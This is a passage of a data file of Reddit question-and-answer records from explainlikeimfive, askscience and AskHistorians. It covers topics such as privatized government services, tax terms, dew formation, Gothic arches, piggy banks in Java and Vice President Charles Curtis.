modeling: computational fluid dynamics. CFD simulators are still relatively inaccurate at measuring how a fluid interacts with itself and surfaces. Aircraft manufacturers (and formula 1 racing teams actually) have massive supercomputers just built for these computations, and they still take forever with limited calculation ability.", "Actually, we can't get any exact results for some of the components of your proposed program.  We don't understand the math!\n\nTwo examples ([Million-dollar math problems](_URL_0_)):\n\nYang-Mills theory.  Deals with the strong nuclear force and color charge.  We can't figure out the exact math, only approximations.\n\nNavier-Stokes equations.  Deals with fluid dynamics and turbulence.  We can't figure out what solutions we can have, or how long they work for.\n\nWe can't write accurate programs for these, let alone something for *all* known laws together.  The best we can do is approximations, to give us an idea of what we *might* not know.", "An inference machine? One of these things you mean?\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=EYPapE-3FRw"], [], [], ["http://en.wikipedia.org/wiki/Millennium_Prize_Problems"], ["http://en.wikipedia.org/wiki/Inference_engine"], ["http://www.youtube.com/watch?v=EYPapE-3FRw"], [], [], ["http://en.wikipedia.org/wiki/Millennium_Prize_Problems"], ["http://en.wikipedia.org/wiki/Inference_engine"]]}
{"q_id": "rs2x6", "title": "explain to me how its cheaper for the u.s. government to pay for profit organizations to provide services. eg: prisons, security contractors, driver's licenses etc.", "selftext": "If private prisons and other services are doing what the government would do themselves for less than what it would cost to do in house how are they still making healthy profits?\n\nWouldn't the quality of those services be better if they weren't run by private companies looking to cut costs and save money?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rs2x6/explain_to_me_how_its_cheaper_for_the_us/", "answers": {"a_id": ["c4882h5", "c4886uy", "c488ahj", "c489sff", "c489x59", "c48a8pl", "c48b0a3", "c48dv1r"], "score": [54, 8, 29, 2, 3, 26, 20, 2], "text": ["Say you and your friends want to eat pizza, but since pizza doesn't magically appear out of thin air... you have to collect money from all of your friends to pay for the  ingredients to make the pizza. After a few grumbles over how some friends eat more than others so they should pay more... you finally have all the money collected to buy your groceries.\n\nYou have your ingredients and are ready to make your pizza, but wait... None of you can agree on a recipe on how to cook the pizza. So you have a meeting and take a vote. Since none of you are expert chefs you all agree that the best thing to do is to get a recipe from the sweet little Italian lady that lives down the street. For which she charges you, since it is her family's recipe from Cicely. \n\nSo now you have the parts (ingredients) and the blueprints/how-to manual  (recipe) on how to put together your pizza. But you still need the equipment to cook it in. So once again you collect money from your friends to buy a pizza pan, a food processor to make the sauce, and a mixer for the dough... and an oven mit because \"safety first\". \n\nSo by now it's been a really, really long time since one of your friends said \"I'm hungry, anyone want pizza\", and you are way over spent but you have a few new tools sitting on your kitchen counter you're pretty sure you won't use again in the near future. From this moment you all agree that it would have been a lot easier (and cheaper) to just buy a pizza from the local delivery shop offering the best deal. \n\n\n**TL;DR:** Contracts go to the lowest bidder... for the most work. Government takes tons of extra time to make sure everyone \"agrees\", the paperwork is done, and they have to buy tools they will probably never use again. Private companies already have the tools and the knowledge to get it done quicker and more efficiently. \n\n\n*Also (tiny note): Government agencies get paid by the day, private contractors get paid by the job- so private contractors want to finish quickly and take more jobs, government agencies want to do the same job for as long as possible.*", "It's not cheaper (especially the externalized costs, such as those corporations driving legislation to lock more people up). It's just more lucrative to legislators who vote for it.", "In general, it's best for companies and governments to focus on what they are good at.  I work in IT, and see government and private sector clients that excel at what they do, but don't have the first clue about how to develop software.  It makes a lot of sense to hire contractors to do these jobs.\nGovernment is also not as flexible in hiring/firing, which makes it difficult to staff projects with competent people.  Once people get gov jobs, they get comfortable and generally don't welcome change, or challenge themselves like private sector workers would to learn new technologies.  The result is over time, you get poorly implemented systems which end up costing more in the long run.  \nAdd in things like government pensions and benefits, and it really does get expensive in the long run to bring all that in house.  \n\n", "If the private companies cross city and state lines, they can acquire multiple customers, and use the same infrastructure to support all of it. Lockheed Martin builds weapon systems for multiple countries, as well as does IT for them. Some of the private prison companies are internationally operated. Some of the toll road privatization contracts in the US are going to European multinationals.\n\nReally, privatization is an acknowledgement that the state can be a client of an entity that transcends the state; and said entity uses states for their assorted tax and production privileges. [This FP article](_URL_0_) might help: Wal-Mart employs more people than many smaller countries count as citizens; some companies exceed the GDP of many countries with their sales numbers.", "One obvious reason is, the number of people incarcerated in recent years was just too high for the public prison system to cope with. \n\nEnlisting the private sector was the only way to cope without prisons having unacceptable and dangerous levels of overcrowding. ", "**NOTE:** there are probably enough posts here already stating that the private sector is *always* better at *everything* than the public sector. \n\nIt would probably be good to get some posts *specifically about prisons*. \n\nPersonally, I find the idea of private prisons horrifying. If the State is going to exercise its power against me in such a serious way, taking control of my physical body and free will, it has the responsibility to do the job properly itself, not to farm out the job to a company trying to turn a profit. ", "It isn't.\n\nMedicare overhead, for example, is about half what one would expect to find in a privately-run insurance fund.  \n\nSince 1970, people in the US have spent between [two and three times](_URL_0_) the amount of money per person on healthcare as compared to the the UK, with [poorer results to show for it](_URL_1_).\n", "I'll use the example of road construction, as it is a particular pet peeve of mine. \n\nWhen you have state departments of transportation (DOT) doing roadwork, you almost always see 1 guy shoveling, 1 guy pushing a broom, 1 guy asleep in his truck and 5 guys standing around. These government jobs are typically union jobs, which pay very well, but have no incentive to finish a job in a timely or efficient manner.\n\nHave you ever noticed how a road being paved can take weeks upon weeks, but the huge (private) parking lot connected to it is done in just a few days? Private companies have incentive to get things done quickly. Things still have to be done right or they won't win future contracts. Without the burden of a union, instead of hiring one guy at $40, then can hire two at $18. Now there are more jobs that still pay decent money, things get done faster and everyone wins.\n\nThe reason things don't (and likely won't) change is because a lot of people are making more money than they deserved while doing less actual work. It's a huge effort to change a system that's already been in effect for decades and there would be a lot of fingers stepped on to benefit everyone else. Money and politics as usual."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.foreignpolicy.com/articles/2012/02/27/inside_big_power_inc"], [], [], ["http://www.wolframalpha.com/input/?i=expenditure+on+health+of+United+States+per+person+%2F+expenditure+on+health+of+United+Kingdom+per+person", "http://www.wolframalpha.com/input/?i=lifespan+usa+%2F+lifespan+uk"], []]}
{"q_id": "22annz", "title": "tax deductions, tax exemptions, tax credit, interest income, dividend income.", "selftext": "It's that time of year again. I've made an effort to understand those concepts but I always find it very confusing, perhaps because they are rarely illustrated in layman's terms.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22annz/eli5_tax_deductions_tax_exemptions_tax_credit/", "answers": {"a_id": ["cgkxvie", "cgl0oqb"], "score": [3, 2], "text": ["Tax deductions are purchases or expenses that you can claim as non-taxable. Medical expenses are one such deduction. The rules for what is and what isn't tax deductible are pretty complex.\n\nTax exemptions are specific rules about the *people* that you support with your taxes. Kids, spouses, and other dependents that ultimately change your tax liability.\n\nTax credits are actual credits like cash back. If you owe $1k and you have a $1k tax credit, you end up paying $0. These are usually term-based things that are put in place to make an economic impact. Many first-time home-buyers got a tax credit a few years ago (I don't know if they still do). These are as good as cash in your pocket.\n\nInterest income is income you make from interest on an account. A savings account has some interest income, and a checking account has a (very) little. This is the money the bank pays you for storing your money with them. I think this falls under the capital gains rules like stock, but don't quote me on that.\n\nDividend income is income from a stock dividend. If a stock you own pays dividends (the company made money and spread it across all shareholders), then that's what this is.\n\nHope that helps.", "Here are some basic explanations. There is much more involved than this but these are some broad explanations to start.\n\nTax deductions are certain expenses that reduce your taxable income. There are various types of deductions and many rules, limits, etc. regarding them. Deductions can be found on page 1 of your 1040 -- see lines 23-35 for 2013 -- or on Schedule A.\n\nTax exemptions also reduce your taxable income. These are set dollar amounts that you can claim for yourself, your spouse (if you have one), and any dependents you may have. If your income is above a certain amount (the amount depends on your filing status), your tax exemptions get reduced.\n\nTax credits reduce your *tax* dollar for dollar. This is different from tax deductions which reduce your *income* dollar for dollar. Both will help lower your tax, but credits will lower your tax much faster. Just like deductions, there are a lot of rules and limits on tax credits.\n\nInterest income is money you earn when you either keep your money in the bank or lend your money to someone else. Most people earn interest by keeping their money in the bank. But you may also earn interest through different investments or by loaning it out to others.\n\nDividend income is money you earn by investing in stocks or mutual funds. Dividends are essentially the profits the corporation or the fund is paying out to its owners (you)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3smri2", "title": "friday the 13th and bad luck", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3smri2/eli5_friday_the_13th_and_bad_luck/", "answers": {"a_id": ["cwyn2fi", "cwynfpq", "cwys32s", "cwyuaxj"], "score": [8, 10, 2, 3], "text": ["Humans have evolved an uncanny ability to recognize patterns.  Unfortunately, sometimes pattern recognition goes wrong and we seek out patterns where there are none.\n\nSo, bad stuff happens all the time.  But people looking for patterns noticed that bad stuff was happening on the 13th of things (like the 13th floor of buildings or whatever).  Oh noes!  Clearly the 13 was causing the problems!\n\nAnd *Friday* the 13th?  Clearly that is the most terrible, most dangerous day.\n\nThat's what \"luck\" is: attributing the randomness of the universe to something predictable.  If you can predict bad luck, you can control it.  If you can control it, you can stop it.  So we seek out patterns so we can control them, even if no pattern exists.", "There were 13 people at the Last Supper on Thursday, and then Jesus was crucified on Friday. This could have evolved over the years into thinking the number 13 and Fridays cause bad luck. Total speculation based on a [wikipedia article](_URL_0_) ", "If you can understand Dutch a bit, this is a short clip from School Television on Friday the 13th\n_URL_0_", "In Dan Brown's *\"The DaVinci Code\"* (the book) the main character explains that **the stigma originates in the events surrounding the arrest -and subsequent downfall- of the Templar Knights.*** *(they are good guys in the book, as opposed to their portrayal in a certain video game)*. \n\n & nbsp;\n\n***The Story:***\n\n**On the 13^(th) of October in 1307 (*a Friday*), Templar Knights were arrested all across France and then tortured, [a  plan orchestrated by Phillip IV](_URL_0_)**. Forced to make false confessions, the Templars were condemned by the public, eventually resulting in the Order being officially dissolved and disbanded.:\n\n & nbsp;\n\nIn Brown's story the Templars are targeted because they are the keepers of the Holy Grail [(SPOILER)](/s \"the secret lineage of Christ and Mary Magdalene's\"), though in reality it was probably just a political maneuver on the part of Phillip IV. \n\n & nbsp;\n\nThe popularity of *The DaVinci Code* was due in part to its claim of historical accuracy. While there can be no doubt that the novel makes use of history in a special way it is only a novel, not held to the standards of academia. Brown can to portray history in any manner he chooses, free to emphasize the facts that support his portrayal and ignore those that disagree.\n\n & nbsp;\n\n**The ['friday the 13^th' wikipedia article](_URL_2_) mentions this theory as well, citing *The DaVinci Code* as well as three other books I've never heard of: two novels ([1](_URL_1_), [2](_URL_3_)) as well as [an academic work by an actual historian](_URL_4_).**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Friday_the_13th"], ["http://www.schooltv.nl/video/waarom-is-vrijdag-de-13e-een-ongeluksdag-oftewel-enormepechdag/#q=vrijdag%20de%2013e"], ["https://en.wikipedia.org/wiki/Knights_Templar#Arrests.2C_charges_and_dissolution", "https://en.wikipedia.org/wiki/The_Accursed_Kings", "https://en.wikipedia.org/wiki/Friday_the_13th", "https://en.wikipedia.org/wiki/Steve_Berry_\\(novelist\\)#Cotton_Malone", "https://en.wikipedia.org/wiki/John_J._Robinson"]]}
{"q_id": "5kq88u", "title": "how come india is considered an emerging superpower?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kq88u/eli5_how_come_india_is_considered_an_emerging/", "answers": {"a_id": ["dbpqy2o", "dbprbdp", "dbpssp0", "dbptq8w", "dbpy6jf"], "score": [7, 4, 16, 5, 2], "text": ["India has a growing economy. Many western businesses outsource to them  (anything from call centers to satellite technoogy).\n\nAlso, India has nuclear weapons and that makes it influential in terms of politics.", "They are not. \n\nThey are considered an emerging World Power due to their economic growth. But they are not anywhere close to being a Superpower because they do not have a strong enough military. (Edit: A World power is one step below a Superpower and includes countries like the UK, France, Germany, etc). \n\nChina is an emerging Superpower, and Russia is rapidly trying to regain that position that it lost with the fall of the USSR but neither are there yet. There is currently only one Superpower in the world and that is the US. ", "Long ago India was the type of place that other countries looked up to due to its fit physique and spiritual balance. This all attracted the attention of the East India Company who approached India, telling India that they were a personal trainer employed by Britain. They told India that they liked the look of them and that they'd like to try to make India the best India they could be. This sounded pretty good to India so they agreed to workout with the East India Company and things started off pretty well, but soon India realized that they liked themselves better when they were doing things by themselves. At hearing this, Britain stepped in and told India that they also saw that it wasn't working with East India Company, but that they'd come too far now, and that they had no choice but to workout directly with Britain now. India gave in but soon saw the benefits of working out with Britian, and soon found themselves in their best shape ever. Things continued to go well for awhile, but soon Britian became disinterested with India becoming unhelpful and sometimes missing workouts, but still refused to let India workout by themselves. After this went on for a while India decided that if they fasted themselves, Britian would have no choice but to leave them alone again. Their plan finally worked, but they realized that it had been so long since they had been in charge of their own workouts that they barely remembered how to do it. India let themselves go and began packing on flabby pounds. India knew that this was not good for them but a succession of fad diets did ot help. India's buddies tried giving them advice over the years and mentioned a few times that it'd be best if they used a proper restroom. Now, they've finally started to get a grasp of who they are, and who they'd like to be. They've realized that with hard work and a solid diet and workout plan, they might be able to bring themselves back to glory and have started on an apparently good path. With all the bulk that they've collected over the years they know that if they can get it organized they have a solid chance of getting back into the best shape of their life. ", "India's progress was very unstable in the 90s mainly because of poor implementation of policies and corruption at top govt authorities.\n\nThis has been changing drastically in the last 5 years, mainly due to the following reasons-\n\n1. Changing forgein policy from billaterral ties to multi lateral ties. \n2. Robust growth in industrial and services sector (moving away from agricultural dependency)\n3. Availability of Highly qualified/skilled employable human resource\n4. Strengthening defence capabilities with nuclear warheads and top of the line surveillance systems\n5. More stringent govt policies and effective adminstration\n6. Better health care facilities.\n\nIndia has been working hard to have trade ties with the big nations to stimulate its growth further, one advantage India has over China and US is thier young population (it has the largest population of 5-16 age group).\n\n", "I won't do all the complicated and rather silly answers. It's simple really.\n\nIndia is a huge and stable country, it's only natural that it will dominate just because of its size. It's at where China was in late 90s/early 2000s. \n\nJust a decade ago, the internet was filled with \"Chinese shit in the streets\" memes.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "48lbci", "title": "what's the difference between a reason and an excuse", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48lbci/eli5_whats_the_difference_between_a_reason_and_an/", "answers": {"a_id": ["d0kj1qd", "d0kq0y0"], "score": [14, 3], "text": ["I feel like other comments are talking semantics without offering a clear distinction.\n\n**Reason**\na cause, explanation, or justification for an action or event\n\n**Excuse**\nattempt to lessen the blame attaching to a fault/defense\n\n**ELI5**/**TL;DR**: A reason is why something happened without bias and a excuse is a reason in the presenter's favor.", "\"Reason\" is to \"excuse\" as \"explain\" is to \"justify\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3gderq", "title": "...why are \"mobile links\" a problem on reddit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gderq/eli5why_are_mobile_links_a_problem_on_reddit/", "answers": {"a_id": ["ctx305v", "ctx32tl"], "score": [5, 3], "text": ["mobile links are links which refer to sites that have a layout optimized for mobile devices. One example would be _URL_0_. This layout often looks very bad on desktop computers and often has a simplified layout and therefore is not appreciated.", "Because if you post a mobile link, desktop users get sent to the mobile version, which doesn't look good on a desktop. If you post the normal link, mobile users will normally be redirected to the mobile version automatically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["m.wikipedia.org"], []]}
{"q_id": "91lbst", "title": "Why does dew not condense on items under a cover?", "selftext": "Living in an area that has high humidity, it's not unusual to come out in the morning to go to work and have a car that's covered in condensation from the temperature variation overnight.  That led me to a question that I can't quite find the answer to: why do I not get condensation on the items in my (uninsulated) garage?  Or, if if a vehicle is parked under a [carport cover](_URL_0_), why does that prevent condensation?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/91lbst/why_does_dew_not_condense_on_items_under_a_cover/", "answers": {"a_id": ["e2z2gd5"], "score": [45], "text": ["This is a really good question! The answer ends up being very interesting (in my opinion), because it is pretty simple to understand but the easiest way to explain it takes a pretty circuitous route. So bear with me for a few paragraphs, or scroll down for the tl;dr.\n\nThe first question we need to answer is **why does dew form in the first place**? Dew occurs when the temperature drops overnight, and it cools to the point where the \"[dew point](_URL_0_)\" is reached. When the dew point is equal to the temperature, this means that the humidity is 100%, and no more water can exist in vapor form. If the temperature continues to drop, then some of that water vapor will have to start turning into liquid water (or ice if the temperature is cold enough). Water has a really hard time condensing without being attached to an object, so it will prefer to condense on any objects that are around. This condensation eventually builds up to a noticeable layer of water that we know as dew.\n\nThis leads to a second question that you might not ever have even thought to ask: **why does it cool down at night**? It might seem like a really stupid question at first, but the answer is not necessarily obvious. All objects in the universe emit [thermal radiation](_URL_4_), a form of electromagnetic radiation, just like visible light. The frequency and intensity of this radiation depends on the object's temperature. Objects such as the sun, lightning, a hot stove, or molten lava are very hot, and so emit higher-frequency, higher-energy light such as visible, UV, or even X-rays! Objects at room temperature. on the other hand, emit low amounts of radiation in the infrared, so we can't see it with our eyes. This includes the earth itself, and even the air! As this radiation escapes, the object loses energy, and therefore its temperature will go down, unless there is another source of energy to balance it out. During the day, sunlight (which contains a lot of relatively high-energy visible and ultraviolet radiation) causes the air, ground, and other things to heat up. But at night, there is nothing to counter-act this thermal radiation, so the temperature starts dropping as the sun goes down.\n\nThis thermal radiation is emitted by all objects in all directions, but just like visible light, this radiation can be reflected and absorbed. An object in the middle of an open field will emit some radiation downward, which will be reflected or absorbed by the ground. But half of the radiation will be upward, into the sky, where most of it will eventually escape into space (air does absorb/reflect some of this radiation but not a lot). An object underneath a canopy, on the other hand, will have a higher percentage of that energy absorbed and/or reflected back to it, so it will cool at a slower rate than things that have a clear view out to space. \n\n**So how does this all tie back to dew formation?** Remember that dew forms when the temperature cools past a certain point. If something is covered by a canopy, it is going to cool off slower than areas that are not covered, and so, on a clear night with little or no wind, the temperature under a canopy will be slightly warmer than outside of the canopy. This effect may only be a degree or two, not even enough to notice, but it's often enough to keep dew from forming. \n\n**tl;dr: Things that are underneath canopies, whether they be natural or manmade, cool off slower at night. Therefore, if the conditions are right, they will not get cold enough for dew to condense, even while places that aren't covered are very wet with dew.**\n\n**Epilogue**: some points I thought were interesting but don't quite fit above:\n\n* This warming from tree canopies is such an important effect that [we actually have to account for it in weather models](_URL_3_), and not properly accounting for this effect can result in fairly large errors in simulations. There are even some efforts to [include the effects of buildings](_URL_5_) in more urban areas.\n\n* You can see this effect pretty clearly if you ever venture out close to sunrise when there's a frost. Frost is simply dew in solid form, but since it's white and reflective it is a lot easier to see from far away than dew. So when there's been a frost, [it's easy to see](_URL_2_) that there is less or no frost in areas that have an obstructed view of the sky, such as areas under trees or awnings. \n\n* This is also the reason why [cloudy nights tend to be warmer than clear nights](_URL_1_): clouds reflect/absorb thermal radiation much more efficiently than air."]}, "title_urls": [], "selftext_urls": ["http://www.asyfreedomwalk.com/wp-content/uploads/2018/04/replacement-carport-covers-accessories-costless-tarps-hawaii-carport-replacement-cover-picture.jpg"], "answers_urls": [["https://www.youtube.com/watch?v=xNNSugTdpqo", "http://ww2010.atmos.uiuc.edu/(Gh\\)/guides/mtr/fcst/tmps/cld.rxml", "https://addins.wrex.com/blogs/weather/wp-content/uploads/2011/10/FROSTYBACKYARD1.png", "https://agupubs.onlinelibrary.wiley.com/doi/full/10.1002/2017JD026581", "https://en.wikipedia.org/wiki/Thermal_radiation", "https://journals.ametsoc.org/doi/10.1175/JAM2164.1"]]}
{"q_id": "43d54u", "title": "how did the pointed arches of gothic architecture more efficiently support the weight of buildings, therefore allowing for taller buildings?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43d54u/eli5_how_did_the_pointed_arches_of_gothic/", "answers": {"a_id": ["czhdry2", "czhdsti"], "score": [20, 2], "text": ["The real genius behind Gothic architecture wasn't so much taller buildings, which you got with earlier styles of architecture at the expense of creating dark, windowless spaces. Rather, their genius was being in able to remove so much of the walls and just leave the arches.\n\nThe innovation with the Gothic style was the so-called flying buttress, in which architects figured out how to build just enough structure to hold the place up without having to fill the whole thing in with stone. So, suddenly, these tall buildings had support structures that allowed for incredible stained glass windows to fill in most of the space. Romanesque buildings let hardly any light in. Gothic cathedrals were mostly windows -- which was a new technology at that time.\n\nThe trick was in using arches to support arches rather than using arches to support walls. Roman and Romanesque arches were round because that was the most efficient structure for holding up the weight of solid stone above them. Gothic arches are pointed because they're supported by other arches, and instead of supporting stuff above them they're really just dangling stuff below.\n\nThe most stable structure you can build with three points is a triangle, and the Gothic arch is just a modified triangle. The overall shape may not be the same, but a base at the bottom and a point at the top is, mathematically, a triangle. Put a bunch of Gothic arches together, you've really just got a bunch of overlapping triangles. Overlap enough triangles, you don't need that much crap filling in the space within them in order to hold them up.\n\nBuild with rectangles, though? If you don't make those walls solid, they're going to fall down.\n\n\n\n", "To start with an arch works by being built with wedge shaped bricks that compress together strong when weight is applied. Now with a round arch the height of the arch can only be half the width of the arch or the horizontal forces would push the supports down. For example with a round arch an 8 ft wide arch could only be 4 ft tall (this height is just the arch part not the supports). With a pointed arch the horizontal forces on the supports are reduced so you can have an arch that would be say 8 feet wide and just under 7 ft tall. So the geometry of the pointed arch reduces the force on the supports that hold it up allowing the construction of taller buildings and buildings with smaller columns. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "947drk", "title": "Why were there piggy banks in 15th century Java?", "selftext": "According to [Wikipedia](_URL_0_):\n\n >  Pygg is an orange colored clay commonly used during the Middle Ages as a cheap material for pots to store money, called pygg pots or pygg jars. There is dispute as to whether \"pygg\" was simply a dialectal variant of \"pig.\" By the 18th century, the term \"pig jar\" had evolved to \"pig bank\"\n\nHowever, [several boar-shaped piggy banks originating from the 15th century](_URL_2_)  have been discovered in East Java. \n\nIs there any relationship between the early use of piggy banks in the West and Middle East, and the early use of piggy banks in Java? Did one region influence the other? \n\nOr perhaps they had a common origin? There's [speculation] (_URL_3_) online that the first piggy banks were made in China, with pigs being a traditional symbol of prosperity. \n\nThe origins of piggy banks have been [asked before](_URL_1_) on Askhistorians, but without any answers. Hoping that someone can shed some light on this subject. \n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/947drk/why_were_there_piggy_banks_in_15th_century_java/", "answers": {"a_id": ["e3iyd67"], "score": [2], "text": ["Followup question:\n\nIn Javanese mythology there's a creature/black magic called [*babi ngepet*](_URL_0_), where it's used to steal someone's wealth. Is there any relation between piggy bank and *babi ngepet*? I assume both are connected through the association of pig = wealth."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Piggy_bank", "https://www.reddit.com/r/askhistorians/comments/84nqtl", "https://i.redd.it/pu4jdic2jtd11.jpg", "https://www.scienceabc.com/eyeopeners/why-are-so-many-personal-coin-banks-shaped-like-pigs.html"], "answers_urls": [["https://en.wikipedia.org/wiki/Babi_ngepet"]]}
{"q_id": "6bjus7", "title": "82 Why is Vice President Charles Curtis, a Native American, such an obscure figure in American History?", "selftext": "Normally I understand why Vice Presidents are pretty obscure, since they often don't have much impact on their president's administration. However, Curtis is unique because he had major native ancestry through his mother. I figured this would make him somewhat notable as the first \"Native American\" Vice President. Especially considering the US's troubling relationship with most American tribes, Curtis could be very important in showing the changing views towards natives by the United States. Yet I have never heard of him at all until hearing about Curtis on the internet. Why did a relatively major \"first\" in US history become so obscure?\n\n\n^1 reposting /u/DoctorEmperor's question [because it's a great Question which didn't seem to get an answer](_URL_0_)\n\n\n**********************\n\nTo ask a follow up question How is Curtis remembered in AmerIndian communities?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bjus7/82_why_is_vice_president_charles_curtis_a_native/", "answers": {"a_id": ["dhnr5z1", "dhnu2x2", "dhnzkac"], "score": [122, 259, 464], "text": ["Follow up question: how did Curtis, and any other minority elected official at the time, deal with their minority heritage in office and while campaigning?\n\n(Also thanks for reposting this question, very happy to see so many people are also interested in Curtis)\n\n(Edit: changed comment to be more up to date)", "Does it make sense to think of Curtis as having identified as a Native American in the sense that we would recognize today at all?  Honest question.  I have no agenda, but am not at all sure that \"identity\" as we now understand it, operated the same way back then.  Hopefully someone can enlighten us.  ", "You are quite clearly correct in saying that the US has not had the greatest relationship with American Indians, and oddly enough, Charles Curtis had a hand in that. He passed the [Curtis Act](_URL_2_) as a Kansas senator which, \"... helped weaken and dissolve Indian Territory tribal governments by abolishing tribal courts and subjecting all persons in the territory to federal law.\" It also stripped mineral rights from the Indians and gave more power to congress over governing the territories, taking a lot of power away from reservation residents. \n\nHere's a passage from the book, *Sustaining the Cherokee Family* by Rose Stremlau, which covers the effects of the Curtis Act; \u201cThe Curtis Act destroyed tribal sovereignty in Indian Territory. First, it suspended tribal laws and judicial systems. Second, it removed tribal control over assets, entrusting them instead to the secretary of the interior. Third, Congress posted an inspector in Indian Territory to supervise and, essentially, cripple the governments of the Five Tribes. Fourth, the Curtis Act provided a framework for dismantling tribal resource bases.\u201d\n\nThat is his biggest lasting accomplishment. He really didn't do much as VP. From _URL_0_, \"Curtis was never close to President Herbert Hoover and played no significant role in his administration.\" \n\nHe was a popular politician when he was in Congress, as noted by contemporary Senator William Borah, \"[Curtis was] a great reconciler, a walking political encyclopedia and one of the best political poker players in America.\" After becoming VP however, \"Curtis grew pompous, demanding that past intimates address him as the vice president of the United States and giving the impression that he felt that he, rather than Herbert Hoover, should be occupying the White House.\"\n\nHis career ended after Hoover's defeat in 32. Here's a good summary of his VP time as written by the Senate Historical Office, \"A party regular\u2014\"one-eighth Kaw Indian and a one-hundred per cent Republican\" as he liked to tell audiences\u2014he had been yoked to one of the most intellectual and least political of all American presidents, and the incompatibility of the team made his vice-presidency a dismal failure.\"\n\nHe's not much of a figure to get behind. \n\n[The _URL_0_](https://www._URL_0_/artandhistory/history/common/generic/VP_Charles_Curtis.htm) page on him is a good read. "]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/69mya8/why_is_vice_president_charles_curtis_a_native/"], "answers_urls": [[], [], ["senate.gov", "https://www.senate.gov/artandhistory/history/common/generic/VP_Charles_Curtis.htm", "http://www.okhistory.org/publications/enc/entry.php?entry=CU006"]]}
{"q_id": "2gzypp", "title": "In the movie Django, one of the characters has a page from the bible pinned to his shirt while he whips a slave. What is the significance? Was this a real practice?", "selftext": "Couldn't find the answer googling. \nEdit: yeah Django Unchained. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2gzypp/in_the_movie_django_one_of_the_characters_has_a/", "answers": {"a_id": ["ckoact8", "ckorfe9"], "score": [138, 23], "text": ["I'd just like the clarify that OP seems to be talking about the movie \"Django Unchained\" (2012), and not the movie \"Django\" (1966).", "At the risk of being one of the deleted comments; the info I have found suggests it was purely symbolic and did not have a reference in historical fact.\n\nThis guy looked into it just as you, here's his response:\n\n_URL_1_\n\nHere's the guy's money quote:\n\n > So in summary I think the Bible pages are there to demonstrate his belief that he is one of God's servants. I think they also serve a double purpose as his death and bleeding out on top of the scriptures symbolise \"justice\" being done given his false beliefs\n\n\n\nAnd here is another fascinating exploration of the various Christian themes and symbolism in Django Unchained, which explores that scene a bit:\n\n_URL_0_\n\nAnd here's THIS guy's money quote:\n\n > The first bounty Django collects is for the Brittle Brothers. As John Brittle prepares to whip a slave girl for breaking eggs, he has Bible pages pinned to his coat as he fervently quotes an Old Testament passage about justice. When Django shoots him, he shoots through one of these pages that covers Brittle\u2019s heart. Red blood flows out of the bullet hole, onto the page, almost symbolically purifying the page with the evil zealot\u2019s blood. It\u2019s an image that foreshadows Calvin Candie\u2019s assassination, though his heart was covered by a white carnation.\n\nI am NOT a historian of this era; simply trying to offer a few external sources the OP may not have found. Mods; please feel free to delete if this does not make the cut.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://c3.umhb.edu/blog/christian-themes-django-unchained", "http://movies.stackexchange.com/questions/18070/why-did-john-brittle-have-bible-pages-sewed-into-his-shirt"]]}
{"q_id": "2ztkev", "title": "what is the importance of the iceland pirate party?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ztkev/eli5_what_is_the_importance_of_the_iceland_pirate/", "answers": {"a_id": ["cpm8aml", "cpmr4ka"], "score": [175, 15], "text": ["The Pirate Party, contrary to popular belief, is not a single issue party. They at one point had eight \"spokes\" (of their platform wheel), including information freedom, freedom of expression  &  communication, freedom to share, freedom of knowledge, and government/public transparency. Copyright and patents trounce all over these rights (to varying degree). Copyright maximalists called sharers \"pirates\", and it became a label that sharers ultimately reluctantly embraced, much like \"Obamacare\" ultimately was embraced by Obama.\n\nThe party is important because it's largely composed of technologically literate people who are devoted to securing the freedoms they espouse in the modern digital age.", "Personally for me I think its a huge step forward for politics.  These parties gaining traction will hopefully filter into mainstream showing that the internet is a big part of peoples lives. I live in the uk and it pisses me right off how many sites are blocked. Who the fuck are these people telling me what sites I can and can't go on.  Either make it illegal or get fucked\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
